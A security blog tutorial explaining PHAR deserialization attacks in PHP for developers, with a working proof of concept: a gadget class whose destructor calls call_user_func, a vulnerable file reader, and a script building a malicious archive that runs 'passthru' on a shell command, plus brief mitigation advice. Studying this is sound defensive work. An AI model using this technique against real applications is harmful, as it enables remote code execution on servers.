Home Vulnerabilities How to exploit the PHAR Deserialization Vulnerability

How to exploit the PHAR Deserialization Vulnerability

by Alexandru Postolache

Reading time

8 minutes

Reading Time: 8 minutes

Deserialization vulnerabilities have been a topic of interest for the research community for more than a decade now. Every year, new attack chains rise, exploiting these vulns in programming languages like Java, C# (via the .NET framework).

At Blackhat US-18, Sam Thomas introduced a new way to exploit these vulnerabilities in PHP.

This new type of attack abuses the fact that using the phar:// stream wrapper to perform read/write operations on PHAR files determines their metadata to be automatically deserialized.

PHAR deserialization vulnerability

From here, it opens the gate to POP (Property Oriented Programming) attacks, where an attacker modifies the properties of objects to hijack the logic flow of the application, which eventually leads to code execution on the hosting server.

1. Understanding PHAR deserialization vulns to build safer web apps

The scope of this article is to help PHP developers gain a stronger grasp of the most common root causes and implications of this class of attacks, delivered using PHAR (PHP Archive) files. By the end of this walkthrough, you – as a PHP developer – will be able to create more secure web applications.

Explore our view on how PHAR deserialization works and learn:

2. Core concepts to understand PHAR Deserialization

phar:// Stream Wrapper

In PHP, all file operations are handled using streams.

A stream is a resource object which exhibits streamable behavior. That is, it can be read from or written to in a linear way.

PHP developers use wrappers when their application requests specific resources, such as an image or a document.

Examples of stream wrappers include: http://, ftp://, file://, php://, phar://.

To better understand stream wrappers, consider these lines:

file_get_contents("http://example.com/image.jpeg")

file_get_contents("file://../images/image.jpeg")

file_get_contents("phar://./archives/app.phar")

Using wrappers, you can call the same function (file_get_contents) to fetch an image either from a remote location or from a folder stored on the local disk.

In particular, the phar:// wrapper is used to interact with PHAR files. It allows various read/write operations to be carried out on an archive and it can only work on local files.

If you want to dig deeper, here’s a full list of the phar:// wrapper options.

PHAR archives

Similarly to Java Archive files (JAR), in PHP you can share a library or an entire application as a single file using a PHAR (PHP Archive) file.

A valid PHAR includes four elements:

  1. Stub
  2. Manifest
  3. File Contents
  4. Signature

PHP provides the PHAR class to build these archives.

Here’s how you can build a specific element of the archive using a class method. (Make sure to stick around for a Proof-of-Concept code that creates completely valid PHAR files!)

3. Elements of a PHAR archive

1. The stub is the first part of the archive. It’s a simple PHP program and it can contain any code you want. The only requirement is that the last command issued within the stub is __HALT_COMPILER():

    <?php echo ‘STUB!’; __HALT_COMPILER(); ?>

The method for setting the stub is:

   PHAR: : setStub (string $stub)

2. The manifest is where the metadata resides. It includes information about the archive and each file within it. More importantly, the metadata is stored in a serialized format.

serialized PHAR format

Remember that the key factor in this attack is that, whenever a file operation occurs on a PHAR using the phar:// wrapper, this metadata is automatically deserialized.

For example, file_get_contents ('phar://./archives/app.phar') will deserialize the metadata of the app.phar archive.

To add metadata to the archive, use:

    PHAR: : setMetadata (mixed $metadata)

3. The file contents are the actual files included in the archive, and they can be of any kind. To add files to the archive, use:

    //adds the file specified by $path to the archive as $name

PHAR: : addFile (string $path, $name)

    //adds $contents to the archive as $name

  PHAR: : addFromString (string $name, string $contents)

4. The signature is a hash of the archive’s content. You must have a valid signature if you want to access the archive from PHP. The signature is automatically added when creating a PHAR programmatically.

4. How POP attacks work

If the PHAR archive is attacker-controlled, that constitutes a basis for a POP attack.

Let’s take a look at the basics of this attack technique. (For an in-depth walkthrough, take a look at  Stefan Esser’s original paper.)

An attacker can add an object from any class to the PHAR’s metadata, having any values set for its properties. When the file operation is triggered inside the target application, the deserialization of the PHAR occurs.

If the object defined in the metadata belongs to a class defined in the scope of the current program, that object will be loaded in that program’s context.

In PHP, there’s a class of methods called magic methods that are automatically called if a certain event happens. For the current example, only two magic methods are of interest: __wakeup() and __destruct() which are called when an object needs to be unserialized or destroyed.

Let’s focus on the  __destruct() method, as it’s more likely to be defined in some class of the target application.

So by now you have an object you control, loaded in the scope of the application, and a method you know will be called – either when the object is no longer in scope or when the script ends.

There are cases where the program logic of the destructor is based on the values of some of the object’s properties. Given that you control these properties, you can hijack the logic flow.

Here’s a flow example to help you visualize how an attack looks:

how property oriented programming attack works

5. Proof of Concept for a PHAR Deserialization vulnerability exploit

Let’s have a look at a basic code example that illustrates the behavior described so far.

Our dummy application will be a web-based text editor.

Any user is allowed to add multiple documents and they have media storage where they add media they can later embed in any document. The documents can be exported in PDF format.

Suppose the class that generates the PDFs is called PDFGenerator.php and it has the following destructor:

<?php

             class PDFGenerator {

                 //   a generic PDF Generator

                       public $fileName;

                       public $callback;

                   // callback is a function that triggers an action when a PDF is generated

                  // e.g: send an email, log the PDF file name to history, sync with Dropbox

                      function __destruct() {

                               call_user_func($this->callback, $this->fileName);

                       }

             }

?>

This class is later included in the main Editor.php file.

<?php

        include 'PDFGenerator.php';

        class Editor {

        public function __construct(){

                global $argv;

                $this->image = @file_get_contents ($argv[1]);

                 // $argv[1] - is there so you can run all this code locally                                     // Think of it as the file name of the image you want to add to the document   

                if ($this->image) {

                        echo "File found! \n";

                }

                else {

                        echo "File not found! \n";

                }

             }                                                                                        }

        $obj = new Editor();

?>

Running a test with a file that doesn’t exist, notice that the behavior is what we expected it to be:

test result phar exploit

Now let’s build a PHAR archive using the methods we went through. Its metadata will be an object of the PDFGenerator class.

Create a new file called phar_gen.php with the following code:

<?php

         class PDFGenerator { }

        //Create a new instance of the Dummy class and modify its property

        $dummy = new PDFGenerator();

        $dummy->callback = "passthru";

        $dummy->fileName = "uname -a > pwned"; //our payload

        // Delete any existing PHAR archive with that name

        @unlink("poc.phar");

        // Create a new archive

        $poc = new Phar("poc.phar");

        // Add all write operations to a buffer, without modifying the archive on disk

        $poc->startBuffering();

        // Set the stub

        $poc->setStub("<?php echo 'Here is the STUB!'; __HALT_COMPILER();");

        /* Add a new file in the archive with "text" as its content*/

        $poc["file"] = "text";

        // Add the dummy object to the metadata. This will be serialized

        $poc->setMetadata($dummy);

        // Stop buffering and write changes to disk

        $poc->stopBuffering();

?>

Now, to obtain the PHAR, run:

$ php phar_gen.php

The following poc.phar file will be created, containing the serialized metadata:

Running the Editor.php again against your newly created poc.phar file, you’ll notice the metadata is unserialized and the payload gets executed:

payload executed phar exploit

$ php Editor.php phar://poc.phar

$ cat pwned

Linux Kali1 4.19.0-kali5-amd64 #1 SMP Debian 4.19.37-2kali1 (2019-05-15) x86_64 GNU/Linux

Imagine this is uploaded through a web interface where the file name the user chose is exactly what’ll be passed to file operation. Using this attack path, an attacker would now have a potential way to achieve code execution on the server.

You might be thinking that you’re protected, as an attacker has no way of knowing the name or implementation of your classes.

You are partially correct.

Keep in mind the application might be using third party open source libraries or frameworks.

What’s more, with the introduction of autoloaders in PHP, the attack surface has increased. Autoloaders give everyone access to a large number of classes, increasing the chance of finding an exploitable implementation of a magic method.

The project PHPGGC provides a list of such exploitable classes. A few of the better-known examples include Zend, Guzzle, Symfony, and Laravel.

6. The key mitigation to avoid a PHAR deserialization vulnerability

Although familiar to the security community, this attack still flies under the radar of most web developers and, thus, represents a risk.

The first and most important countermeasure devs should take is to carefully sanitize the user input. In this case, thoroughly check what file types can be uploaded by users and also apply some randomization to the file names when stored server-side.

PHAR deserialization provides attackers with a new technique to exploit web applications. The business risk is high because successful exploitation can result in code execution on the server Once an attacker gains a foothold on your server, their imagination is the only limit.

Using this attack technique, researchers discovered remote code execution vulnerabilities in:

  1. WordPress, by Sam Thomas
  2. Magento, by Simon Scannell
  3. Drupal, by Sam Thomas.

With this practical overview of how an attack against the PHAR deserialization vulnerability works, you’re now able to create a PoC and ensure your web applications have an extra safety layer.

If you found it useful, share it with your peers and help them gain a competitive edge.

Should you have feedback for us, drop us a line in the comments below or on Twitter.

Related Posts

authenticated magento rce with deserialized phar files

Authenticated Magento RCE with deserialized PHAR files

rce windows dns sigred vulnerability

The 17-year-old DNS vulnerability that leads to RCE in Windows

0 comments

Comments